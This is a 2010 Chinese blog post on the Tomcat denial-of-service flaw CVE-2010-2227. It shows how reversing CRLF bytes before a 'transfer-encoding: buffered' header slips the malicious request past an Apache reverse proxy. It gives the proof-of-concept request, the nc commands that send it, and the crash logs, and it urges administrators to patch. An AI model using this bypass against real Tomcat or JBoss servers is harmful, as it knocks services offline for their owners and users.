绕过 Apache http代理继续DOS TOMCAT

作者: 空虚浪子心,  出处:IT专家网

  从长远的角度讲,一个完整的安全方案,应该是和现有架构本身的特性,是分开的,它并不能因为现有应用架构拦截了攻击,于是自己就表示影响不大。如果安全方案总是依靠应用现有的特性,那就要承受可能被绕过的隐患,这种隐患,导致我们总有一天,会不得不把补丁老老实实的打上去。如本文就是一个很好的例子。

  在上一篇文章《Tomcat远程拒绝服务漏洞分析(CVE-2010-2227)》http://www.inbreak.net/?action=show&id=168中,笔者根据TOMCAT的补丁,分析出了攻击未修补版本的POC,相信不少人体验了一把。然而在实际使用中,只有小公司喜欢把tomcat放在最外面。大企业都喜欢在tomcat外面使用apache等web server转发,以便获得更好的响应速度,或者为了分离静态文件,减轻服务器压力。

  对于这样的情况,你会发现使用笔者给的POC,这里是无效的,关于这一点,官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他说如果你的tomcat外面还有一层web server做转发,就会减轻这个漏洞带来的危害。

  也许大家看到这个,放心了很多,就没有修补。

  官方这么讲,是什么原理呢?我们看下攻击的POC:

POST /CodePK/updateinfo HTTP/1.1

Host: localhost

Keep-Alive: 300

Connection: keep-alive

 

transfer-encoding: buffered

Content-Length: 145

u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4

  遇到这样的HTTP头,apache会因为有”transfer-encoding: buffered”,则自动拦截下来,自己处理掉这个数据包,不交给tomcat处理,并直接返回错误。这是出于apache自己的原因造成的,但是这不重要。重要的是,这个拦截的机制,能否被绕过。TOMCAT仍然老老实实的在apache后面等候数据包,如果能绕过,它就会再次忠实的睡大觉。要绕过apache的“自动拦截”(这个名字好记点),就必须让apache不认识这个头。

  发个数据包,这是拦截后返回的信息:

A:\tools>nc -vv localhost 80 < aa.txt

DNS fwd/rev mismatch: kxlzx != localhost

billgates [127.0.0.1] 80 (http) open

HTTP/1.1 500 Internal Server Error

……..省略

<p>The server encountered an internal error or

misconfiguration and was unable to complete

your request.</p>

…….省略

 

Apache返回了500 Internal Server Error,如果去掉那个头”transfer-encoding: buffered”,返回就200 OK了,但是也就打不死了。

  看起来这是个死循环,永远搞不定,所以tomcat官方也说了能减轻危害。

  但是,如果apache和tomcat对某些字符的理解不一致,可能会apache放过某些字符,但是tomcat却刚巧认识,又如果这个字符刚好能影响到这里,就会bypass这个所谓的“防御架构”,所以我们找找看有没有这样“猥琐”的字符存在。

  Apache和Tomcat实现原理不一样(废话),所以,对一些字符可能理解不一致,是正常的。

  我们先看看大家对http heads的分段是如何理解的,我查到“CRLF”,从apache源码中看到,它把crlf定义为“\r\n”,转换为也就是16进制的“0D 0A”(为什么提16进制等下讲),这个供参考:https://svn.apache.org/repos/asf/httpd/flood/trunk/flood_test.c

  其实我不熟悉C,也不知道这段主要是做什么的,但是看到它的确定义了

  “#define CRLF "\r\n"”,只有这一个对crlf的定义。

  这有什么用呢?这其实表示,apache所理解CRLF,就是“\r\n”,它不认识“\n\r”(看仔细点,反过来了)。

  悲剧的是,tomcat和JBOSS认识它们,并且很喜欢它们!

  Tomcat和jboss对这个东西的定义含义是

  “If (xx==’\r’|| xx==’\n’)”

  就是说,不但把字符反过来写它们认识,就算拆成骨头,TOMCAT和JBOSS也认识。

  知道了这个关键点,下面思路就有了。我们把”transfer-encoding: buffered”这个字段,伪装成其他字段的一部分,让apache放过去,交给tomcat处理就可以了。

  POC:

  于是我使用16进制编辑器,UltraEdit打开我复制出来的数据包文件aa.txt

  找到

  transfer-encoding: buffered

  把这一行之前的字符

image002.jpg

  注意括起来的两个地方,把它们顺序分别颠倒一下,两个地方的“0D 0A”都改为“0A 0D”。改后如下:

image004.jpg

  原来包是这样的:

Connection: keep-alive         这是字段1

transfer-encoding: buffered   这是字段2

Content-Length: 145           这是字段3

  三个字段其实属于同一个字符串,他们的间隔本来是“\r\n”,我们改为“\n\r”。一旦这个包发给apache后,apache认为只有一个字段”Connection”过来了,接着就把这个字段原封不动的交给tomcat。

  可怜的tomcat看到这个包,却认为它是三个字段,解开了这个炸药包,所以,砰。。。挂了

  现在把我改后的文件,使用nc提交上去:

A:\tools>nc -vv localhost 80 < aa.txt

DNS fwd/rev mismatch: kxlzx != localhost

billgates [127.0.0.1] 80 (http) open

HTTP/1.1 404 Not Found

Date: Sat, 24 Jul 2010 01:48:34 GMT

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=utf-8

Content-Length: 1006

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

 

<html><head><title>Apache Tomcat/5.5.29 – Error r

font-size:22px;} H2 {font-family:Tahoma,Arial,san

;color:white;background-color:#525D76;font-size:1

ahoma,Arial,sans-serif;color:white;background-col

olor : black;}A.name {color : black;}HR {color :

noshade"><p><b>type</b> Status report</p><p><b>me

einfo) is not available.</u></p><HR size="1" nosh

  当有信息返回时,再看看tomcat的控制台,已经一大堆异常了,测试apache后面的JBOSS也是一样,统统挂掉。

2010-7-24 9:48:34 org.apache.coyote.http11.Http11AprProcessor process

严重: Error finishing request

java.lang.NullPointerException

        at org.apache.coyote.http11.filters.BufferedInputFilter.doRead(B

nputFilter.java:90)

        at org.apache.coyote.http11.filters.IdentityInputFilter.end(Iden

tFilter.java:161)

        at org.apache.coyote.http11.InternalAprInputBuffer.endRequest(In

rInputBuffer.java:378)

        at org.apache.coyote.http11.Http11AprProcessor.process(Http11Apr

r.java:862)

        at org.apache.coyote.http11.Http11AprProtocol$Http11ConnectionHa

ocess(Http11AprProtocol.java:640)

        at org.apache.tomcat.util.net.AprEndpoint$Worker.run(AprEndpoint

87)

        at java.lang.Thread.run(Thread.java:619)

2010-7-24 9:48:34 org.apache.coyote.http11.Http11AprProtocol$Http11Conne

dler process

 

严重: Error reading request, ignored

java.lang.NullPointerException

        at org.apache.coyote.http11.filters.BufferedInputFilter.recycle(

InputFilter.java:105)

        at org.apache.coyote.http11.InternalAprInputBuffer.nextRequest(I

prInputBuffer.java:356)

        at org.apache.coyote.http11.Http11AprProcessor.process(Http11Apr

   所以,大家躲在apache的http proxy后面的tomcat和JBOSS,就不要抱着侥幸心理了,速度修补吧!

       遇到这样的漏洞,能对服务器造成极大危害,而我们的架构又刚好符合官方描述的“安全状态”时,可以放缓处理,但是不能不处理。很多官方最喜欢做的,就是完全站在开发产品的角度,不懂安全的含义,就直接针对POC,出一套解决方案。无数的事实证明,这样的方案,是最容易被绕过的。

发表评论?

4 条评论。

  1. 中华E商创业商务网

    博客搞得不错,欢迎也到我那看看,提提建议。

  2. 向博主学习了,思路不错。

  3. 你的博文真好,虽然有许多我看不大懂!

发表评论